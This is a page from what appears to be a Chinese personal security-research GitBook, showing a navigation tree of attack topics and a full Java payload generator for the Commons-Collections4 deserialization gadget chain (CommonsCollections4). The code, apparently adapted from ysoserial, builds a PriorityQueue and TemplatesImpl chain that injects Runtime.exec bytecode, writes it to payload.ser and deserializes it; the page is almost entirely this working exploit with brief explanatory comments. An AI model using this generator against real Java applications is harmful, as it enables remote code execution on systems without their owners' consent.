🖌️
Functfan的格物致知
  • 写在前面
  • java技术
    • J2EE 全面简介
  • java安全
    • 反序列化漏洞
      • 序列化/反~
      • Ysoserial
        • Java反序列化之Vaadin1
        • Java反序列化之Groovy1
        • Java反序列化之Jdk7u21
        • Java反序列化之Commons beanUtils
        • Java反序列化之Commons-Collections
          • CommonsCollections1
          • CommonsCollections2
          • CommonsCollections1
          • CommonsCollections2
          • CommonsCollections3
          • CommonsCollections4
          • CommonsCollections5
          • CommonsCollections6
          • CommonsCollections7
      • Marshalsec
    • XXE漏洞
      • XXE爱之初印象
      • XXE漏洞写法及防御
      • XXExploiter工具
  • web安全
    • 一句话木马
  • 渗透测试
    • 网络资产收集
    • 端口服务探测
    • 边界突破
    • 内网穿透
    • 容器与K8S安全测试
  • 漏洞挖掘
    • web类框架研究报告
      • Xstream经验
      • weblogic漏洞研究经验笔记
      • WebLogic安全研究报告
    • 漏洞挖掘入门
      • 小白入门
      • 源代码审计方法
        • Java类编译与反编译基础
        • IDEA使用技巧
        • IDEA Java程序调试
      • Fuzzing技术
        • 方法论
          • fuzzing的四个技能
        • 工具集
          • tmnt-Web应用漏洞fuzzer
          • wfuzz-web app fuzzer
          • AFL-基于变异的fuzz工具
      • 物联网漏洞挖掘技术
        • 物联网设备固件模拟分析环境*(亲测下载好慢,不建议使用该教程)
        • 智能设备漏洞挖掘之固件提取
        • pwndbg调试工具使用教程
    • 漏洞情报监测
    • 漏洞安全检测工具
      • 容器安全检测脚本总结
      • WebLogic漏洞检测小工具
    • 漏洞复现
      • 操作系统
        • windows
        • Linux
          • 脏牛漏洞-Docker逃逸POC(dirtycow-vdso)代码分析
          • Dirty CoW脏牛内核提权漏洞(CVE-2016-5195)
      • 数据库
      • WEB服务组件
        • CVE-2020-2883
        • F5 BIG-IP远程代码执行漏洞(CVE-2020-5902)
        • Apache Solr 远程命令执行漏洞(CVE-2019-0193)
      • 云计算安全
        • CVE-2020-15257-容器逃逸-containerd
      • 物联网安全
        • TP-Link SR20 本地网络远程代码执行漏洞
  • CTF比赛
    • BUUCTF-练习场web
    • xctf-攻防世界新手练习区web
    • Exploit利器——Pwntools
  • 新技术研究
    • 区块链
    • 云原生安全
      • 虚拟化hypervisor简介
      • Docker容器基础
        • 云原生攻防研究:容器基础
          • Linux内核基础
          • Docker容器基础
          • 理解容器进程
          • 组件组成:剖析 Docker 组件作用及其底层工作原理
          • Docker镜像的内部结构(四)
          • docker之namespace,cgroup与unionFS
          • Linux内核安全模块之AppArmor
          • Linux沙箱之seccomp
          • Linux权限管理之Capabilities
        • 云原生攻防研究:Docker安全性与攻击面分析
        • 云原生攻防研究:容器逃逸技术概览
        • 云原生攻防研究:针对容器的渗透测试方法
        • 云原生攻防研究:漏洞缓解技术
      • Kubernetes容器编排基础
        • k8s基本概念
        • 云原生攻防研究:Kubernetes安全分析
        • 云原生攻防研究:Kubernetes攻击矩阵
    • 联邦安全
    • 云边协同
    • 安全多方计算
由 GitBook 提供支持
在本页
  1. java安全
  2. 反序列化漏洞
  3. Ysoserial
  4. Java反序列化之Commons-Collections

CommonsCollections4

CommonsCollections2+CommonsCollections3

PayLoad:

import com.nqzero.permit.Permit;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;

import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.*;
import java.util.Map;
import java.util.PriorityQueue;

import static sun.reflect.misc.FieldUtil.getField;

public class CommonsCollections4 {
    static String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
    //getInvocationHandler用于获取名为handler的InvocationHandler实例,并将map传入成员变量memberValues
    public static InvocationHandler getInvocationHandler(String handler, Map<String, Object> map) throws Exception {
        //获取构造函数
        final Constructor<?> ctor = Class.forName(handler).getDeclaredConstructors()[0];
        //获取handler的私有成员的访问权限,否则会报 can not access a member of class sun.reflect.annotation.AnnotationInvocationHandler
        Permit.setAccessible(ctor);
        //实例化
        return (InvocationHandler) ctor.newInstance(Override.class, map);
    }
    //createMyproxy用于返回handler为ih,代理接口为iface的动态代理对象
    public static <T> T createMyproxy(InvocationHandler ih, Class<T> iface) {
        final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, 1);
        allIfaces[0] = iface;
        return iface.cast(Proxy.newProxyInstance(CommonsCollections1.class.getClassLoader(), allIfaces, ih));
    }
    // 设置成员变量值
    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        Field field = null;
        try {
            //获取私有成员变量
            field = obj.getClass().getDeclaredField(fieldName);
            //获取私有成员变量访问权限
            Permit.setAccessible(field);
        }
        catch (NoSuchFieldException ex) {
            if (obj.getClass().getSuperclass() != null)
                field = getField(obj.getClass().getSuperclass(), fieldName);
        }
        field.set(obj, value);
    }
    //  获取成员变量值得
    public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
        Field field = null;
        try {
            field = obj.getClass().getDeclaredField(fieldName);
            Permit.setAccessible(field);
        }
        catch (NoSuchFieldException ex) {
            if (obj.getClass().getSuperclass() != null)
                field = getField(obj.getClass().getSuperclass(), fieldName);
        }
        return field.get(obj);
    }
    //  7u21反序列化漏洞恶意类生成函数
    public static Object createTemplatesImpl(String command) throws Exception{
        Object templates = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl").newInstance();
        // use template gadget class
        ClassPool pool = ClassPool.getDefault();
        final CtClass clazz = pool.get(CommonsCollections2.StubTransletPayload.class.getName());
        String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
                command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
                "\");";
        clazz.makeClassInitializer().insertAfter(cmd);
        clazz.setName("ysoserial.Pwner" + System.nanoTime());
        final byte[] classBytes = clazz.toBytecode();
        setFieldValue(templates, "_bytecodes", new byte[][] {
                classBytes});
        // required to make TemplatesImpl happy
        setFieldValue(templates, "_name", "Pwnr");
        setFieldValue(templates, "_tfactory", Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl").newInstance());
        return templates;
    }
    public static void main(String[] args) throws Exception {
        String command = "calc";
        Object templates = createTemplatesImpl(command);
        ConstantTransformer constant = new ConstantTransformer(String.class);
        Class[] paramTypes = new Class[] { String.class };
        Object[] str = new Object[] { "foo" };
        InstantiateTransformer instantiate = new InstantiateTransformer(
                paramTypes, str);
        paramTypes = (Class[]) getFieldValue(instantiate, "iParamTypes");
        str = (Object[]) getFieldValue(instantiate, "iArgs");
        ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });
        PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
        queue.add(1);
        queue.add(1);
        setFieldValue(constant, "iConstant", TrAXFilter.class);
        paramTypes[0] = Templates.class;
        str[0] = templates;
        FileOutputStream fos = new FileOutputStream("payload.ser");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(queue);
        oos.flush();
        oos.close();
        FileInputStream fis = new FileInputStream("payload.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        Object newObj = ois.readObject();
        ois.close();
    }
}

上一页CommonsCollections3下一页CommonsCollections5

最后更新于4年前